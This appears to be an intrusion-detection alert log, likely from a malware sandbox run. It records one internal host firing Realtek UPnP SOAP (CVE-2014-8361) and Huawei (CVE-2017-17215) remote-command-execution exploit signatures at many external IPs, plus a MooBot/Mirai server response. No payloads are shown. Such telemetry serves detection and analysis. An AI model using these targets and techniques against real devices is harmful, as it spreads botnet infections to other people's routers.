Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 138.90.100.113

Timestamp:	07/20/24-23:01:50.107973
SID:	2027339
Source Port:	45408
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 106.250.20.58

Timestamp:	07/20/24-23:01:08.565610
SID:	2831300
Source Port:	52460
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.169.34.148

Timestamp:	07/20/24-23:01:20.131339
SID:	2835222
Source Port:	46360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 178.242.0.237

Timestamp:	07/20/24-23:01:45.144955
SID:	2027339
Source Port:	33272
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 108.242.179.170

Timestamp:	07/20/24-23:01:54.562310
SID:	2831300
Source Port:	35350
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 176.229.44.248

Timestamp:	07/20/24-23:01:01.500174
SID:	2027339
Source Port:	54970
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 124.34.247.33

Timestamp:	07/20/24-23:01:56.353592
SID:	2027339
Source Port:	49216
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.213.7.238

Timestamp:	07/20/24-23:00:57.221583
SID:	2829579
Source Port:	35138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 213.71.93.224

Timestamp:	07/20/24-23:01:31.317774
SID:	2831300
Source Port:	57996
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 131.104.254.70

Timestamp:	07/20/24-23:01:42.651912
SID:	2027339
Source Port:	33732
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 149.240.88.161

Timestamp:	07/20/24-23:01:58.143690
SID:	2027339
Source Port:	52188
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 134.252.78.39

Timestamp:	07/20/24-23:01:07.026812
SID:	2835222
Source Port:	48082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 27.181.35.71

Timestamp:	07/20/24-23:01:08.693187
SID:	2831300
Source Port:	46180
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 210.26.13.127

Timestamp:	07/20/24-23:01:04.049279
SID:	2835222
Source Port:	33762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 107.208.110.238

Timestamp:	07/20/24-23:01:04.621319
SID:	2025132
Source Port:	49808
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 206.208.92.27

Timestamp:	07/20/24-23:01:08.559170
SID:	2027339
Source Port:	45648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 197.9.101.249

Timestamp:	07/20/24-23:01:44.368405
SID:	2027339
Source Port:	51762
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 88.161.89.160

Timestamp:	07/20/24-23:01:44.520226
SID:	2027339
Source Port:	52620
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.110.120.103

Timestamp:	07/20/24-23:01:54.947006
SID:	2027339
Source Port:	48404
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.247.244.116

Timestamp:	07/20/24-23:01:44.533289
SID:	2027339
Source Port:	43528
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 78.252.101.116

Timestamp:	07/20/24-23:01:48.445925
SID:	2831300
Source Port:	43564
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.129.147.154

Timestamp:	07/20/24-23:01:41.299284
SID:	2027339
Source Port:	39404
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 150.76.139.116

Timestamp:	07/20/24-23:01:46.407113
SID:	2831300
Source Port:	39946
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 92.202.152.200

Timestamp:	07/20/24-23:02:02.439009
SID:	2025132
Source Port:	56738
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 94.208.23.95

Timestamp:	07/20/24-23:01:44.825081
SID:	2831300
Source Port:	58076
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 49.182.174.70

Timestamp:	07/20/24-23:01:43.023201
SID:	2831300
Source Port:	38018
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 167.13.180.172

Timestamp:	07/20/24-23:01:06.989167
SID:	2829579
Source Port:	46306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.226.237.113

Timestamp:	07/20/24-23:01:45.500918
SID:	2027339
Source Port:	39794
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.3.151.48

Timestamp:	07/20/24-23:01:52.940746
SID:	2027339
Source Port:	53548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 167.255.64.127

Timestamp:	07/20/24-23:01:11.631549
SID:	2829579
Source Port:	37214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 138.82.75.1

Timestamp:	07/20/24-23:01:57.476832
SID:	2027339
Source Port:	60580
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.31.197.218

Timestamp:	07/20/24-23:01:24.934977
SID:	2835222
Source Port:	50966
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.110.213.163

Timestamp:	07/20/24-23:01:04.769670
SID:	2027339
Source Port:	38540
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response - Source IP: 15.235.203.214 - Destination IP: 192.168.2.23

Timestamp:	07/20/24-23:01:14.169782
SID:	2030489
Source Port:	2466
Destination Port:	32848
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 190.111.169.67

Timestamp:	07/20/24-23:01:12.807274
SID:	2831300
Source Port:	55108
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 40.163.171.209

Timestamp:	07/20/24-23:01:40.285038
SID:	2829579
Source Port:	40002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 168.75.18.77

Timestamp:	07/20/24-23:01:42.603963
SID:	2027339
Source Port:	33514
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.143.173.10

Timestamp:	07/20/24-23:02:05.745200
SID:	2027339
Source Port:	52492
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 137.195.128.162

Timestamp:	07/20/24-23:01:08.621030
SID:	2831300
Source Port:	40042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 221.195.248.226

Timestamp:	07/20/24-23:01:41.217142
SID:	2025132
Source Port:	59288
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 135.110.213.163

Timestamp:	07/20/24-23:01:08.629616
SID:	2831300
Source Port:	40660
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.118.52.116

Timestamp:	07/20/24-23:01:31.983105
SID:	2829579
Source Port:	45186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.27.181.202

Timestamp:	07/20/24-23:01:10.610618
SID:	2027339
Source Port:	39700
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 109.104.48.215

Timestamp:	07/20/24-23:01:43.845332
SID:	2025132
Source Port:	50558
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 203.130.71.37

Timestamp:	07/20/24-23:01:49.660516
SID:	2025132
Source Port:	34708
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.194.46.134

Timestamp:	07/20/24-23:01:04.031510
SID:	2829579
Source Port:	48472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 139.220.216.2

Timestamp:	07/20/24-23:02:11.592030
SID:	2025132
Source Port:	56472
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 155.246.197.66

Timestamp:	07/20/24-23:01:53.775275
SID:	2025132
Source Port:	58484
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 63.150.57.125

Timestamp:	07/20/24-23:01:08.585790
SID:	2831300
Source Port:	54006
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.224.131.168

Timestamp:	07/20/24-23:01:11.630833
SID:	2835222
Source Port:	36586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.142.247.218

Timestamp:	07/20/24-23:01:13.287248
SID:	2027339
Source Port:	58220
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 151.5.114.8

Timestamp:	07/20/24-23:01:08.567236
SID:	2027339
Source Port:	57370
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.24.2.217

Timestamp:	07/20/24-23:01:31.991548
SID:	2829579
Source Port:	44798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.13.253.64

Timestamp:	07/20/24-23:01:21.952783
SID:	2829579
Source Port:	55262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 92.1.18.107

Timestamp:	07/20/24-23:01:41.399866
SID:	2027339
Source Port:	34108
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 179.32.230.224

Timestamp:	07/20/24-23:01:44.019540
SID:	2025132
Source Port:	44750
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 20.185.209.150

Timestamp:	07/20/24-23:02:48.447182
SID:	2027339
Source Port:	60456
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.243.122.81

Timestamp:	07/20/24-23:01:34.043766
SID:	2829579
Source Port:	60040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 67.15.208.48

Timestamp:	07/20/24-23:00:59.163619
SID:	2835222
Source Port:	38946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.150.57.125

Timestamp:	07/20/24-23:01:01.632331
SID:	2027339
Source Port:	51590
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 209.25.89.22

Timestamp:	07/20/24-23:01:27.660099
SID:	2835222
Source Port:	52316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.135.72.98

Timestamp:	07/20/24-23:02:04.640460
SID:	2027339
Source Port:	40204
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 105.47.109.140

Timestamp:	07/20/24-23:02:01.761996
SID:	2025132
Source Port:	57408
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.141.1.52

Timestamp:	07/20/24-23:01:46.893328
SID:	2027339
Source Port:	45904
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 176.129.124.225

Timestamp:	07/20/24-23:01:54.405308
SID:	2027339
Source Port:	47414
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.156.85.195

Timestamp:	07/20/24-23:01:00.640312
SID:	2835222
Source Port:	48356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.72.179.4

Timestamp:	07/20/24-23:01:27.766239
SID:	2829579
Source Port:	38616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.197.27.100

Timestamp:	07/20/24-23:01:43.555540
SID:	2027339
Source Port:	52378
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.254.137.62

Timestamp:	07/20/24-23:01:46.955966
SID:	2027339
Source Port:	35814
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.15.115.232

Timestamp:	07/20/24-23:00:57.221803
SID:	2835222
Source Port:	50602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.81.198.30

Timestamp:	07/20/24-23:00:57.222279
SID:	2835222
Source Port:	34110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 119.8.134.128

Timestamp:	07/20/24-23:01:04.760964
SID:	2027339
Source Port:	39610
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 52.164.165.154

Timestamp:	07/20/24-23:01:20.596563
SID:	2831300
Source Port:	33634
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.254.34.7

Timestamp:	07/20/24-23:01:02.144931
SID:	2027339
Source Port:	51696
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 182.62.146.57

Timestamp:	07/20/24-23:01:48.160375
SID:	2027339
Source Port:	38964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.242.29.232

Timestamp:	07/20/24-23:01:06.994337
SID:	2829579
Source Port:	40450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 136.148.234.160

Timestamp:	07/20/24-23:01:48.885298
SID:	2025132
Source Port:	49894
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 134.168.191.164

Timestamp:	07/20/24-23:01:52.766296
SID:	2831300
Source Port:	44980
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.94.134.229

Timestamp:	07/20/24-23:01:43.855231
SID:	2027339
Source Port:	42296
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.52.198.36

Timestamp:	07/20/24-23:01:06.996055
SID:	2835222
Source Port:	32826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 195.225.222.112

Timestamp:	07/20/24-23:00:59.168569
SID:	2835222
Source Port:	43828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 155.251.124.204

Timestamp:	07/20/24-23:01:41.182584
SID:	2025132
Source Port:	52454
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.95.192.176

Timestamp:	07/20/24-23:01:42.527235
SID:	2027339
Source Port:	58096
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.149.181.67

Timestamp:	07/20/24-23:01:20.144672
SID:	2829579
Source Port:	60704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.118.38.95

Timestamp:	07/20/24-23:01:24.885849
SID:	2835222
Source Port:	33952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 44.152.141.175

Timestamp:	07/20/24-23:01:49.329747
SID:	2831300
Source Port:	34040
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.173.93.85

Timestamp:	07/20/24-23:01:00.639012
SID:	2829579
Source Port:	35120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.124.141.209

Timestamp:	07/20/24-23:01:51.076036
SID:	2027339
Source Port:	54624
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 195.17.33.203

Timestamp:	07/20/24-23:01:34.062277
SID:	2835222
Source Port:	48014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.39.79.111

Timestamp:	07/20/24-23:01:27.649731
SID:	2829579
Source Port:	49508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.22.35.81

Timestamp:	07/20/24-23:01:59.449569
SID:	2027339
Source Port:	48850
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 19.16.79.3

Timestamp:	07/20/24-23:01:25.848287
SID:	2025132
Source Port:	42276
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 154.90.91.204

Timestamp:	07/20/24-23:01:25.342792
SID:	2025132
Source Port:	58658
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 140.201.238.135

Timestamp:	07/20/24-23:01:51.968363
SID:	2025132
Source Port:	37256
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 205.96.176.194

Timestamp:	07/20/24-23:02:04.640459
SID:	2027339
Source Port:	32958
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 217.159.91.139

Timestamp:	07/20/24-23:01:00.633984
SID:	2835222
Source Port:	36626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 201.86.102.204

Timestamp:	07/20/24-23:01:42.944341
SID:	2025132
Source Port:	55426
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 131.120.226.33

Timestamp:	07/20/24-23:01:12.805765
SID:	2831300
Source Port:	35282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 100.7.152.54

Timestamp:	07/20/24-23:01:24.898476
SID:	2829579
Source Port:	50252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

